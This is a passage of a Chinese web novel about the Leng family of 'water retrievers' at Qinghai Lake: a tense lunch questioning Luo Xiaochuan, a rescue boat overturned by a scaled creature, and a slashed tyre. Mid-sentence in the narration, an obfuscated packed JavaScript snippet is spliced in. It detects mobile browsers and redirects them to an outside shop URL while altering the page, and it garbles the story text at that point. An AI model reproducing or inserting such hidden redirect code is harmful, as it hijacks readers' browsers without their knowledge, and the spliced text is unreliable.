原来当年他们登山队离开青海后,又重新回去了一次,不过那一次他们没有再去登山,而是去了昆仑山的腹地,潜入了湖底的冰缝探险,那一次男人成功上了岸,女人却在水里遭到不明黑影的攻击,脚底受伤,不过伤口不大,他们当时都没当一回事,以为是鱼类受到惊吓的突然攻击。 可后来回家没几日,女人的身体突然发生了变化,眼见无法控制,他们到处求医问药,也没什么用,再后来情况进一步恶化,腿部几乎全部硬化,长出了鳞片,医生束手无策建议截肢,但家人都接受不了,建议保守治疗,最后一拖再拖,原本一个好好的人就成了那副怪物的模样。 车在荆水车水马龙的街道上疾驰,宋浮尘的讲述像一根无形的细线,穿梭引导,连接着过去和现在。 冷柏山一直沉默地听着,偶尔仰头喝一口红酒,他尽量保持着冷静,但心里早已掀起了惊涛骇浪,因为激动,身子都跟着微微发颤,心里有个声音在喃喃自语。 “这不跟老二的情况一样吗?当年也是在青海受了伤,找到他的时候已经无法控制……所以,他最后也会变成犭颉的模样吗?” ****** 29. 五姓 青海湖,观澜客栈。 小夭押着骆晓川一起去了餐厅。 虽然已经到了中午的饭点,但因为搜救一直没结束,不少人还在湖岸边看热闹,餐厅里吃饭的人不多,只有零零散散几桌,刚刚出了这么大的事,餐厅里的食客都吃得三心二意,时不时就往窗外瞄一眼。 冷晚晚他们这桌也是,几个人频频看向窗外,吃得漫不经心,不过除了冷晚晚,她是真饿了。 早上那一顿,她本来就没吃几口,后来又下水折腾了那么久,能量早已耗尽,这会儿已经饿得前胸贴后背了,就感觉胃里像是凭空饿出了一个洞,感觉来头牛都能吃下去。 还好他们那一桌的餐食老阿妈们没收走,直接加了个热锅,又点了几道菜,冷晚晚就跟饿虎扑食似的埋头吃起来,似乎完全将审问晓川的事抛到了脑后。 她吃得很快,眨眼一碗饭就见了底,还意犹未尽,鼓着腮帮子嚼着嘴里的食物,眼珠子滴溜溜在饭桌上来回扫,很快就打起了周游面前米饭的主意,她看了看周游,又用眼睛指了指他面前的米饭,周游一下子就明白了她的意图,嘴角翘了翘,主动把米饭挪到她面前。 “你吃吧,我没动!” 冷晚晚看了他一眼,脸上露出一副“算你有眼力见”的表情,眉头一挑,一声不啃地接过饭碗又埋头吃起来,几分钟后,饭碗再次见了底。 二百八坐在对面,看得目瞪口呆,惊觉自己终于遇到了干饭对手,甚至暗暗拿她跟自己做比较,虽然他一直对自己的饭量很自信,但从速度来说,他还是追不上这种饿死鬼投胎的进食速度。 冷晚晚再一次抬起头来,左看看右看看,这一次她把目标对准了二百八,先跟他对上了视线,接着又瞥了一眼他面前的米饭,一套动作非常熟练,二百八眼睛眨巴眨巴,立马领悟,也非常识趣地双手递上了碗饭,跟上贡似的,还非常贴心地补了一句:“我这个也没动!” 冷晚晚仍旧没吱声,接过来埋头继续吃。 二百八看到此情此情,实在忍不住,往周游那边靠了靠,低声在他耳边吐槽:“这女的怎么回事啊,怎么下了一趟水,就跟饿死鬼上身了一样。” 这话说得不好听,周游下意识皱眉,瞪了二百八一眼,没接话。 二百八被瞪的莫名其妙,不服气地“切”了一声,一扭头看到小夭正在对面恶狠狠地瞪他,心下一惊,心想这小妮子的耳朵跟耗子似的,灵得很,八成是听到了,于是冲着她心虚地笑笑,试图蒙混过关。 小夭一脸嫌弃,张嘴无声地说了几个字,说的很用力,咬牙切齿的。 二百八盯着小夭的口型,低声一个字一个字地猜:“你,是,不,是,找,死……” 当猜到“死”字的时候,他吓得浑身一个激灵,赶忙抿紧了嘴巴,视线挪向别处。 全桌就冷晚晚吃得投入,一碗接一碗,她光速吃完二百八那碗饭后,似乎还不满足,又朝着厨房扬起手来,准备让老阿妈再送几份米饭过来。 小夭原本在一旁冷静地看着,见她还要吃,终于坐不住了,一把按住她的胳膊:“你还要吃?别撑坏了啊!” 冷晚晚不满:“我饿,还没吃饱!” 小夭将信将疑:“你还饿?你平时的饭量也没这么大啊?” 冷晚晚无语:“要不你下水试试?!看你饿不饿!” 小夭一时语塞,也是,水下运动的消耗可跟在陆地上运动的消耗不可同日而语,再说她在水下折腾了那么久,估摸着也确实消耗了很多能量,行吧,既然她想吃就让她吃吧,按说多吃几碗饭应该也撑不死。 “行吧,你要是饿就吃吧!” 小夭话音刚落,冷晚晚就朝厨房里的老阿妈们招了招手,又要了两碗米饭。 周游一直目不转睛地盯着冷晚晚,看着看着就觉出有些不对劲,她有些接近神经质地进食,就像一个设定程序的机器人,只知道吞咽,米饭进到嘴里还没嚼几口就被囫囵咽下,她似乎追求的只是咽下的动作,而不在意吃的是什么,他觉得她这样异常的反应绝不单纯只是因为饿了,更像……更像是一种应激反应。 下水前,她原本还精力十足,跟他们各种试探周旋,结果下了趟水上来,人虽然看起来没什么事儿,但整个感觉不一样,难道……她在水下遇了什么对她冲击很大的事? 周游有些担心地看向冷晚晚,斟酌着问:“你……没事吧?” 冷晚晚埋头扒拉碗里的肉,仍旧没吱声。 一旁的小夭瞄了一眼冷晚晚,又看了看周游,不耐地回了一句:“人不都说是饿了吗?能有什么事儿,你们吃你们的!” 另一边,被押进餐厅的晓川,原本还等着被审问呢,结果坐下后就被一帮人晾在了一边,都不带看他一眼的,大家的注意力反而都集中到了冷晚晚身上。 他这人倒是很会自娱自乐,即来自则安之嘛,他单独坐在走道一边,正好对着窗户,他一声不吭地歪坐在椅子里,一会儿看看窗外的湖景,一会儿又饶有兴致地看着这一桌人的各种表情和对话,心里一直揣摩着两问题——这几个人之间是什么关系?眼前这俩姑娘,跟佟刚又是什么关系? 其实后一个问题,从他别俩姑娘车的那一刻起,就一直萦绕在心头,他才不相信佟刚所谓“美女骚扰”的说法,据他了解,佟刚是给冷家卖命的,他便猜测这俩姑娘应该跟冷家有点关系,直到断断续续听到隔壁桌低声议论冷晚晚下水救人的事迹,他心里立刻有了答案。 无装备下水救人,还是在青海湖里,听起来是水捞子会干的事。 而水捞子的事,他再熟悉不过,因为他姓骆,也是水捞子里的一员。 水捞子这种职业,传承千年,渐渐衍生出五大家族,分别是荆水冷家、云南刁家,广西骆家,新疆覃家和青海马家,这百年间,随着社会不断发展,各家都已经渐渐融入现代生活,开拓了新的事业,没人再做纯粹的老本行了,但会水这件事是基因里自带的技能,永远忘不掉。 至于技能高低,从古至今,冷家绝对是五大家族里的佼佼者,刁家紧随其后,而他所属的广西骆家居于中位,不上不下,新疆覃家一直名不见经传,而青海马家则基本垫底。 所以,这俩姑娘应该就是冷家人。 至于这四个人的关系,他一时有点吃不准,视线在几个人之间来回穿梭,挨个观察起来。 首先是周游,这人长相俊朗帅气,看起来聪明十足,身上却有一股掩饰不住的傻气,基本没什么城府和心机,简单一句话来概括,就是一个“皮相姣好的二傻子”。 周游似乎对冷晚晚很感兴趣,眼睛几乎全程都盯在她身上,至于是哪种兴趣,晓川一时还拿不准,不过像冷晚晚这种姿色的女人,男人多半是会有点非分之想的。 至于冷晚晚,这个女人很妙,周身莫名萦绕着一种生人勿近的清冷气息,眉眼妩媚中带着英气,看人时目光灼灼,似乎能看透你的心,让人下意识会有种怯意,一旦发狠眼神又似刀似剑,带着一股癫狂劲,短暂接触下来,晓川觉得这女人周身似乎蒙了一层纱,虚虚实实、真真假假,让人摸不透,也看不真切,越是这样的姑娘,越是会让人心生好奇,想要探究下去。 还有就是那个小夭,虽然接触时间短暂,但从刚刚的亲身经历来说,这姑娘虽然长得甜美可爱,看起来人畜无害,可行事起来真是泼辣刁蛮,口齿伶俐,敢想敢干,而且毫不手软,跟冷晚晚很相似的一点,就是身上藏着一股子狠劲,咬一口都非得见血那种,也是不好招惹的角色,不得罪还好,要是一不小心闹她手里了,那绝对没好果子吃。 至于二百八,算是几个人里他最熟悉的了,但也仅限于认识吧,基本没有深交,在青海这段时间,好几次接触下来,他都觉得这人心思不正,为人做事非常流于表面,很看重利益,没什么义气,总结一下就是这人虽然谈不上多坏,但也绝对算不上好人。 视线再回到桌上时,冷晚晚面前又多了两碗米饭,而她就像一个没有感情的干饭机器人,一言不发,埋头就是吃吃吃,席间很安静,所有人都目光都聚焦在她身上,就这么看了好一阵,冷晚晚终于忍不住,抬起头来,嘴巴里塞得鼓鼓囊囊,口齿含混地说:“你们吃啊,看我干什么?” 桌上的几人你看看我,我看看你,都默默拿起了筷子。 被冷落在一旁的晓川一直无戏可唱,着实有点无聊,于是主动凑上去接话:“我倒是想吃啊,你们倒是给我拿套餐具啊!就让我在这儿干看着你们吃,这可不是待客之道吧?!” 此话一出,所有人齐刷刷回头看他,似乎在这一刻才意识到桌子另一头还坐着一个人,还是被他们押进来的男人。 周游看了看晓川,觉得这样把人晾在一边确实不太好,就算要盘问人家,至少要让人吃饱饭吧,想到这,转身从身后空桌上拿了一套餐具,然后伸长胳膊往晓川那边递过去,晓川见状,欠了欠身子正要去接,冷晚晚突然冷笑一声。 “待客之道,那是对朋友的,你是谁?” 说完,还冷冷瞪了周游一眼,那眼神仿佛在说“让你多事”,凭空飞来横祸,周游一脸委屈,心想我就给人递了一套餐具,又没做别的什么离谱的事儿,至于吗? 心里这样想着,眼神多少有些哀怨,嘴里嘀嘀咕咕十分不服气,结果冷晚晚冷眼一横,周游吓得立马噤声,闭紧了嘴巴大气都不敢出。 说来也奇怪,他本来不是一个生性怯懦的男人,而且之前他跟二百八已经抽丝剥茧参透了“绑架案”的玄机,已然成功拿捏了冷晚晚和小夭,占据了道德高地,说话本应该更加理直气壮才对,结果也就一个上午的时间,亲眼目睹事情汹涌地发生,情势迅速发生了改变,他的心境似乎也发生了改变。 他一遍又一遍暗示自己,即使她有很多不可告人的秘密,但能够不顾个人安危下水救人,应该也不是什么坏人。 要说这是一种结论,不如说更像是一种希望,他希望她至少不是个坏人。 一个眼神带来的无声的警告,让周游傻愣了几秒,端着餐具的胳膊悬在半空,一时收也不是,不收也不是。 原本二百八也想替晓川说几句话的,毕竟相识一场,卖他一个人情也是好的,结果他还没开口呢,就看见冷晚晚瞪周游的冰冷眼神,跟看仇人似的,吓得浑身一个激灵,于是赶紧打住,心想算了算了,还是自己的命比较重要,反正晓川饿一顿也不会死! 要说这周游点子可真背,每次都能那么精准地踩到冷晚晚的雷点上,也是不容易,二百八真的有点同情周游了,这么帅一男的,去哪儿不是香饽饽啊,结果遇到这俩女的,在青海这几天受的冷眼估计比他过去几十年受得还多,要说这俩女的也算是挺一视同仁,没有因为周游的长相就格外优待,怎么对他的就怎么对周游的,想到这里,二百八心底竟然莫名升起一丝敬意。 可敬意归敬意,看着好兄弟有苦说不出的样子,二百八还是心有戚戚焉,赶忙帮着接过周游手里的餐具,老老实实转身又放回了原位。 “怎么着?不让吃不让喝,这是要刑讯逼供啊?” 晓川扫视了一圈,慢腾腾躺回椅子里,似笑非笑地盯着冷晚晚,一副吊儿郎当的样子。 小夭本来就看他不顺眼,之前拦车的气都还没出,又想到他私底下说不定跟佟刚有什么见不得人的勾当,更是气不打一处来,心想这人长得倒是人模狗样的,奈何不是什么好东西! 想到这,小夭狠狠白了他一眼,阴阳怪气地说:“你是骨头软,不会好好坐着吗?跟个二流子似的……” 此话一出,没想到人家不但不生气,反而冲着小夭莞尔一笑:“这不,没吃饭,没力气嘛!” 说完,还笑嘻嘻地冲着小夭眨了眨眼,这可把小夭恶心坏了,当场恨不得把自己的眼珠子抠出来,啊,不对,是把对方的眼珠子抠出来!这样没皮没脸的男人,小夭还是第一次见,就连那油滑乖张惹人嫌的二百八都还知道害臊羞耻呢,这男的还真是奇葩! 小夭强忍着恶心,皮笑肉不笑地回怼:“我看你这说话的劲头也不像没力气啊,还可以再饿一饿,最好饿到张不开嘴,免得恶心人。” 晓川眉头微微皱起,假意嗔怪:“诶,你这个小姑娘,看起来长得漂漂亮亮,善良可亲,心怎么这么狠呐!” 小夭原本还气势汹汹,等着对方出招呢,结果人家冷不丁夸了她一嘴,搞得她晕头转向,攒起来的怒气一时哑火,嘴巴张了又张,一时间不知道怎么回嘴。 一旁的二百八和周游看鬼一样看向晓川,眼底的情绪复杂,既有羡慕又有鄙夷,羡慕的是这男的嘴皮子厉害,跟小夭这样的狠角色吵架,一来一往竟然没有落下风,甚至还能噎住对方,简直不可思议!而鄙夷的是,他这种话张口就来,竟然也不觉得难为情?! 不过小夭也不是一般人,短暂的精神出走后,很快就回过神来,她又想起月如妈说过的那些话,更加加深了对男人的刻板印象,心想男人果然一个个油嘴滑舌,没一个好东西! 她嫌弃地白了晓川一眼,咬牙切齿:“男人的嘴,骗人的鬼!” 晓川仍旧笑嘻嘻地看她,看着小夭一脸烦躁厌恶的表情,更是觉得有趣,正准备再调侃两句,哪知一旁的冷晚晚突然把碗往桌上一拍,咚一声响,吓了众人一跳,原来在无人在意的角落,她已经轻轻松松干掉了两碗饭。 一瞬间,所有人的视线都同时看向冷晚晚,二百八偷偷瞄了一眼她光溜干净的碗底,顿时肃然起敬。 只见她不紧不慢地抽了张纸巾,擦了擦嘴,然后漫不经心地看向晓川,慢悠悠开口:“我吃饱了,现在你说说吧,你跟佟刚到底什么关系?” 虽然语气不算强硬,但是带着一股不容拒绝的强制意味——就是说也得说,不说也得说。 晓川懒懒地靠着椅背,笑了笑:“在说这些之前,我们是不是应该先相互认识一下?两位叫什么我都还不知道呢!” 他说着,看了看冷晚晚,又看了看小夭。 冷晚晚冷冷地回看了他一眼,没接茬,小夭直接白眼翻上了天。 见两人不搭腔,晓川轻笑着瘪了瘪嘴,一只手捏着下巴,做思考状,然后慢腾腾地说:“让我猜猜,你们跟佟刚很熟悉,所以……你们是冷家人?” 他在说到“冷家人”的时候,刻意加重了读音,顺势看向冷晚晚,眼神里带着几分看穿一切的得意。 冷晚晚心里咯噔一下,虽然面上隐藏的极好,表情还是冷冷的,但是眼中的惊讶还是一闪而过,冷家人这三个字,让她立刻警醒起来,眼前这个叫晓川的男人,绝不是什么普通人,至少对水捞子有一定的认知。 会是佟刚泄露了天机吗?但她随即就否定了这个猜想,不会的,佟刚一向很谨慎。 “我猜的对吗?”晓川微微一笑,狡黠地半眯着眼睛。 冷晚晚不置可否,还是不动声色地坐着。 晓川挑了挑眉,懒散地靠在椅背上,开始一字一句地自我介绍:“可能我之前没介绍清楚,我姓骆,马各骆,名晓川,广西人。” 这话在别人听来可能很正常,但听在冷晚晚耳朵里,那简直就是五雷轰顶。 姓骆,广西人,知道她的身份,好几重关键信息叠加,她脸上渐渐露出恍然的表情来。 他是广西骆家人,水涝子五姓之一。 这还是冷晚晚除了冷家人之外,第一次见到活的水捞子。关于骆家,她了解不多,只听说骆家人孤僻得很,多年都只在广西一带活动,很少挪窝,没想到在青海遇上了,而且过程很不太愉快。 一旁的小夭反射弧还停留在上一层,拿胳膊撞了撞冷晚晚,偏过头低声问:“他怎么知道我们是冷家人?” 冷晚晚心累地叹了口气,心想小祖宗诶,你可长点心吧!你但凡把用在佟刚身上的脑子多用点在这种地方,也不至于这样! 她没搭理小夭,若有所思地盯着骆晓川,心里不由生出一个疑问:他为什么要主动告诉我这些?为了让我不要再追问他和佟刚的关系? 小夭没问到答案,只能自己瞎琢磨,突然想到晓川和佟刚那层关系,瞬间明了了,恨铁不成钢地低声咒骂:“佟刚你个大嘴巴!什么都往外说!” 冷晚晚一听,就知道她想岔了,看她眼神清澈的样子,只能扶额苦笑,罢了罢了!这丫头就这样,有时候脑子活泛得很,有时候脑子又缺根筋,半天转不过弯来,为了防止她越想越歪,冷晚晚在桌下悄悄拽过她的手,在她手心写写画画起来。 刚开始,小夭还满头雾水,不明所以地看着冷晚晚,写着写着,她渐渐明白过来,冷晚晚写的是这四个字——广西骆家! 小夭在心里默念:“广西骆家,广西骆家……” 念着念着,脑子里突然灵光一闪,广西骆家,水涝子五姓之一! 所以眼前这个无赖就是骆家人?小夭有些难以置信地看向骆晓川,骆晓川仿佛也看透了她的心思,冲着她微微一笑,这一笑,让小夭更加确定了自己的猜想,几乎脱口而出:“所以,你是广……” 话说到一半,背心里被冷晚晚狠掐了一下,她疼得浑身一抖,差点叫出声,赶忙转头看冷晚晚,冷晚晚心累极了,眼神朝着周游和二百八轻轻一瞟,小夭立刻明白过来,自己大意了,差点就在旁人面前说漏嘴了! 这一系列的操作下来,周游和二百八自然都看出了异样,二百八偏过头,小声跟周游耳语:“你说他们挤眉弄眼的,是不是又在商量什么阴谋诡计?!” 周游也隐隐觉得不对,也不知道是不是自己的错觉,看起来简简单单几句话,怎么被他们弄得神神秘秘的,有种对暗号的感觉,想到这里,他环视一圈,突然惊觉,这一桌五个人,除了他,其他人都是有些关联的——二百八认识骆晓川,骆晓川又跟冷晚晚和小夭的哥哥认识。 心里不由生出了一种不好的猜想:或许他们根本就是一伙儿的呢?这一出出就是在他面前演的戏? 想到这一层后,周游只觉得脊背发凉,寒意四起,他不断提醒自己,身在异乡万事小心,在没搞清楚真相前,不要轻易相信任何人! 包括二百八。 虽然独自探险拍摄多年,早已习惯孤军奋战,但此时此刻,竟有些“拔剑四顾心茫然”,不知该剑指何处,也不知道孰敌孰友,虽然他不相信冷晚晚是坏人,但也始终摸不透她,视线又扫了一圈,停留在二百八身上时,心里都有些发毛。 而这些猜想,二百八还浑然不知,他此时的心思都在对面那几个人身上,他怀疑晓川和那俩姑娘根本就认识,只是在他们面前装出一副不认识的样子,他眼珠子滴溜溜转不停,然后假意好奇地问小夭:“你刚刚想说什么啊?” 小夭没想到他会继续追问,一下子愣住了,大脑飞速转动,几秒后灵机一动,赶忙接话:“我是想问,他是什么时候来青海的……” 骆晓川顺势接话:“来了有半年了吧!” 说完,又跟着补了一句,“这个二百八知道。” 本来还在怀疑别人,结果突然被点名,二百八有些发懵,等回过神来,尴尬地笑笑,然后点点头:“晓川确实来青海有大半年了,有时还会专门来这里吃饭,这里的阿妈们应该都认识他。” 话虽这么说,他却越发怀疑小夭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348726|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟骆晓川是在相互打配合,刚刚突然拉他下场,应该也是为了消除怀疑,有了这些猜想和发现,他沾沾自喜地觉得自己终于机灵聪明了一回,立马就想把自己的这一重大发现告诉周游。 他左看看右看看,觉得还是发消息更稳妥,就悄摸把手机拿到桌下给周游发了信息,发完立马撞了撞周游,示意他看手机。 周游不明所以,拿起手机一看,信息界面赫然写着——我严重怀疑这几个人是一伙儿的!!! 周游抬眼看二百八,二百八还故意扫了对面几人一眼,示意就那几个人,要小心! 周游本来还将信将疑,觉着自己有可能想多了,二百八不一定跟这些人是一伙儿的,但眼下这么一条消息发过来,他咂巴咂巴回过味儿来了,这是给他演上狼人杀高端局了?好好好,他倒要看看,这些人到底要玩哪一出!周游不动声色,决定静观其变。 二百八千算万算,也没算到周游把他当作了“狼人”,还兴致勃勃观察着对面的动向,嘴角挂着嘲讽的笑意,一副“爷早识破了你们的诡计”的表情。 小夭吁了一口气,定了定神。眼下虽然知道了骆晓川水捞子的身份,但并没有高看他几眼,反倒止不住替骆家惋惜,这人人品堪忧,姓骆实属家门不幸,在她眼中他还是一个恶意别车的无赖,一想这种人跟佟刚混在一起,顿时就觉得“狐朋狗友”这个词具象化了。 她嫌恶地瞥了骆晓川一眼,语气不太好地说:“我叫小夭,她叫冷晚晚,现在认识了?可以讲讲你跟佟刚是怎么认识的吧?” 周旋这么久,终于还是回到了这个问题!现在知道了对方的真实身份,冷晚晚更是不解,这么些年冷家一直跟骆家没什么往来,这俩到底是怎么勾搭上的? “几年前,也是在青海,我们修车的时候认识的,他缺配件,我刚好有,就给他用了,他请我吃了顿饭,后来就加了好友。”骆晓川实话实说。 二百八抱着胳膊,眯缝着眼,笑意盈盈地看着他们,心想你们演,接着演!还演的有来有回的,奥斯卡不给你们颁奖真是可惜了! “等一下,你说修车?”冷晚晚眉头蹙起,转头看向二百八,“那该死的修车铺叫什么名字来着?” 突然被问,二百八愣了一瞬,但很快就明白过来,她说的是西瓜皮的修车铺,于是抠着脑瓜子想了想:“好像是叫晨鑫……” 冷晚晚的视线又落回骆晓川脸上,一脸怀疑地问:“你们俩不会就是在这个修车铺认识的吧?” 骆晓川抬头想了想:“名字倒是没怎么注意,独门独院的,我住在湖边牧民家的帐篷里,牧民推荐的,说那一家开了很多年,老板是两兄弟,技术不错。” 两兄弟?那应该就是西瓜皮和他哥了。 冷晚晚想了想继续追问:“然后呢?” 骆晓川不解:“什么然后?” “你跟佟刚之后发生了什么呀?你装什么傻啊?”小夭听不下去,一顿白眼伺候。 “没什么然后啊,就是加了微信的朋友关系,每年到青海了,相互问候一声,然后吃顿饭,今年也是因为我发朋友圈了,他知道我在青海,就给我打了个电话,我去救场拦你们的车,再然后,就在这里了。” “就这?他干的那些事儿你都没参与?”小夭一脸怀疑。 冷晚晚和小夭对视一眼,都感觉事情不会这么简单,水捞子两大家族的人都到了青海,还以这种莫名其妙的方式相遇了,这难道只是巧合?骆晓川肯定没说实话,但嘴长在他身上,他当然可以想怎么说怎么说,至于信不信就是她们的事了。 “怎么?都不相信我说的话?”骆晓川看了一圈,慢条斯理地开口。 装,接着装!二百八似笑非笑地看着他们,忍不住在心里吐槽。 一旁的周游紧盯着二百八,也忍不住在心里吐槽:这货虽然长得跟二百五似的,但演技确实能追赶180线艺人! 一桌人虽然各有各的心思,但脸上都摆明了写着三个大字——不相信! 冷晚晚和小夭不相信骆晓川,二百八是不相信他们三个,而周游是他们几个都不相信。 骆晓川无奈扬手:“那就没辙了,我说了,你们不信,我不说,你们也不信,那要我怎么样?难不成让我把心肝肺都掏出来给你们看看啊!再说了,我跟佟刚也才刚见面,哪知道他干了什么啊,这年头就算是夫妻,每日同床共枕都不见得了解彼此呢!实在不行,你们问佟刚去!” 好嘛,不说到这里还好,一说到这里小夭就来气,怒气冲冲瞪他:“我们倒是想找问佟刚,关键不是让你拦路给放跑了吗?” 得!又给绕回来了!骆晓川叹了口气,满腹委屈:“我哪知道是怎么回事儿啊?佟刚一个电话过来,说有两个美女骚扰他,让我去帮帮忙,我也没想那么多啊,纯粹只是为了给兄弟帮忙,哪想到惹了您二位,我在青海这大半年,哪里遇过这种事儿啊!!要说啊,问题的症结都在佟刚身上,你们找我也没用。” 他看似在诉说委屈,其实把自己撇得干干净净,冷晚晚双手抱臂,靠在椅背上细想着,眼前这人虽然看起来吊儿郎当不靠谱,不过话说得也没错,所有问题的症结确实都在佟刚身上,眼下想抓住这个男人问出个所以然来,显然不现实,冷晚晚知道没有再问下去的必要了,再问下去也只是浪费时间。 “那行,竟然说清楚了,那你走吧!”冷晚晚突然抬头对骆晓川说。 “??什么?”骆晓川还以为自己听错了。 其他人一听这话也都是一脸懵,就这么结束了?连带着骆晓川都有些不敢置信,坐在椅子上一动没动。 “就……这么让他走了?”小夭不解,拦车的气她都还没出呢。 冷晚晚一脸不以为然:“不让他走,你看他还能说出什么花儿吗?纯纯浪费时间,有这时间,还不如回去睡一觉。” 一旁的周游看得一愣一愣的,一时间也有点懵,这又是演哪出? 小夭气急,筷子往桌上一拍,腾一下站起身来,气冲冲转身就往外走,冷晚晚皱眉,转头喊她:“你干嘛去?” “上厕所!” 冷晚晚叹了口气,回过头来,一脸疲累:“行了,累了,都散了吧,有事儿明天再说!” “这……就散啦?”骆晓川盯着冷晚晚,还一动不动地坐在位置上。 他心想这故事的发展有些不对啊,按说自己已经故意透露了身份,她俩应该有很多事想问他啊?这是怎么回事?他左看看右看看,又觉着桌上还有其他人,应该有些话不好说吧?想到这里,便想着让周游和二百八先走。 “怎么?你还想留在这里过夜啊?”冷晚晚见骆晓川似乎没有离开的意思,又调侃了一句,“也行,随你,晚上多吃点,把中午这顿补上。” 说完,起身就往外走,周游和二百八见状也纷纷起身往外走,只留骆晓川一人在原地,他左顾右盼了片刻,见冷晚晚应该打定主意不回来了,有些怅然若失地慨叹了一声,也准备起身离开。 结果,屁股还没离开椅子,就听见室外又响起了一阵阵惊呼声。 餐厅里的人瞬间被吸引,都好奇地往室外看去,一时间议论纷纷。 “唉,唉,唉,这是又出什么事儿了啊?!” “诶诶诶,船……船……” 等餐厅里的人看清情形,也跟着惊呼出声。 冷晚晚和周游一前一后同时停下脚步,齐齐扭头往外看去,只见不远处的湖面上似乎被镀了一层银,阳光下波光粼粼,几艘搜救的冲锋舟跟着浪涌在湖面荡来荡去,其中一艘似乎受到了一股巨大力量的撞击,自下而上,一下一下,瞬间激起数丈高的白浪,冲锋舟随即被顶到半空,上头的人惊叫连连,转眼冲锋舟就翻覆了过去,上头的人骇叫着跌入湖中。 “哎呀哎呀,船翻了!船翻了!” 餐厅里有几个男人激动大喊,言语中尽是看热闹的兴奋劲,反正看热闹不嫌事大,这下也没心思吃饭了,男人们三三两两又一次鱼贯而出,朝着湖边跑去,只留下几个女人站在窗边一边看热闹,一边大声说着话。 “外头太热了,他们也不怕晒。” “男人皮糙肉厚的,怕什么晒啊!” “也是。” “哎,你们说这湖里怎么突然有这么大的浪啊?” “什么浪啊!这摆明了是有什么东西撞在船上了。” “啊?这湖里能有什么东西那么大力气啊?鱼?” “说不定……说不定……青海湖里真有水怪呢?!” 周游和冷晚晚都一言不发地看着窗外,听着女人们的对话,两人眸子骤然收紧,神情越发冷峻。 二百八趴在窗口看了半天,就看着冲锋舟翻了,有几个穿着救生衣的人掉到水里了,另外几艘冲锋舟已经靠过去,正试图把落水的人拉上去,至于女人们猜测的什么鱼啊,水怪啊,他根本就没看见,就连撞击的过程都没看到,好么,精彩的地方又错过了。 他赶忙凑到周游身边,撞了撞周游:“哎,你看清了吗?是什么撞的?” 周游没说话,眼睛盯着湖面出神,二百八伸手在他眼前晃了晃:“你没事吧?” 周游冷冷地瞥了二百八一眼,摇摇头,语气带着一股子生硬:“没事!” 说完一转头,刚好跟冷晚晚对上了视线,冷晚晚眼神中似有探寻又有求证的意味,但随即转瞬即逝,她一言不发扭头就走。 周游愣在原地,心头莫名生出一种猜想:莫非,她也看见了?在那白浪之下分明有一个活物,浑身长满鳞片,在阳光下折射出银白色的光来…… *** 30. 黑影 冷晚晚一回到房间,就胡乱地甩脱了鞋子,光脚走到窗边,疲累地一屁股瘫倒在沙发上,她无念无想地睁眼盯着天花板看。 小夭不知道去哪儿了还没回来,屋子里一时间静悄悄的,她放空了好一会儿,窗外忽又传来声响,她这才调转视线看向窗外。 依旧是碧水蓝天,青青草地的景象,不同的是湖面多了几艘冲锋舟和穿着红色救生衣的人,应该是落水的救援人员都被成功救了上去,岸边的人一时间欢欣鼓舞叫出了声,片刻之后,看热闹的人又渐渐散去,只留下几个警察在岸边拿着对讲机兢兢业业地工作。 广阔浩瀚的湖水在眼前铺展,冷晚晚又想起了在水下见到的光景,还有在餐厅最后见到的一幕,很显然,青海湖里藏着一种可怕的怪物,水下、鳞片、怪物,会主动攻击人类,她迅速联想到了小马落水那晚她见到那些鱼——高山雪鲤,更准确地说是进化了的高山雪鲤。 她拿起茶几上的牛皮笔记本,快速翻到画着高山雪鲤的页面,虽然爸爸的笔记潦草,但还是精准地抓住了鱼的特征,长得很像鲫鱼,侧扁银身,背鳍带锯齿硬刺,周身长着密密麻麻的鱼鳞,画的旁边还用细线拉出去一行小字——此鱼喜冷,一般只能长到10-15cm。 是啊,她见过的高山雪鲤个头都不大,她一下一下地用手指敲打着笔记,陷入沉思。 那么小的鱼,真的能一下子变成那么大的怪物吗? 正想着,窗外突然走过几个熟悉的人,先是二百八,戴着墨镜,手里拎着个塑料袋,里头不知道装的什么,似乎挺有分量的,他晃晃悠悠从客栈门口走过,过了几分钟,周游也形色匆匆地从窗前走过,手里还拎着个大包。 注意到包的瞬间,冷晚晚陡然瞪大了眼睛,等等,他手里的那是行李包,所以他这就走了?这才几天啊,就被吓走了?还说是搞探险的,就这? 冷晚晚忍不住暗暗吐槽,结果吐槽完,心里又突然出生一丝异样的感觉,遗憾?失落?可惜?不舍?她有些描述不清,但当意识到自己出现这种感觉后,她稍稍有些吃惊,紧接着是讶异,都是老江湖了啊,怎么回事?她来来回回仔细揣摩分析,最后给自己下了一个简单的定义,应该只是微微的失落而已,并无其他。 也是,出来这么些天,好不容易遇到一个帅的,还没怎么邂逅发展呢,这男的就被吓得提包跑路了……果然,长得再好的男人也像是没有芬芳的花,经不起细细的咀嚼和品味,想到这里,冷晚晚顿感兴趣索然,嫌弃地啧啧了两声。 就在这时,窗外突然又响起了一阵歇斯底里的叫骂声,隔着玻璃听不真切,不过从动静和语气来推断应该是在骂人,冷晚晚往外看了半天,窗户看出去的视野内并没有出现人影,她有些好奇,起身走到窗边,偏头往窗户两侧看了看,这才发现骆晓川在客栈门口张牙舞爪地叫嚣着什么,远远看上去就像是一个发了疯的牛仔。 “这男的又发什么疯?” 冷晚晚一脸嫌弃,但还是好奇地拉开了窗口一侧的通风小窗,侧着耳朵听外头的动静,毕竟“吃瓜”可是深埋中国人骨子里的天性。 “是谁?到底是谁?扎了老子的轮胎,赶紧给老子滚出来!” 骆晓川脸色铁青,气得上蹿下跳,央金正在一旁试图安抚,就在他们身旁不远处停着一辆越野,两个前轮都瘪塌下去,几个男人正乐呵呵围着车看热闹,一边看,还一边冲着骆晓川感叹:“啧啧,这人下手也太狠了!一戳直接戳俩,不过还行,还给你留了俩好的。” 这话一说,骆晓川更气了,嚷嚷道:“我要报警,报警!” 围观的男人们好心提醒:“警察不就在湖边上了么,不过人家这会儿正忙着找人呢,你这也不是什么大事么,还是先别耽误人家救人了。” 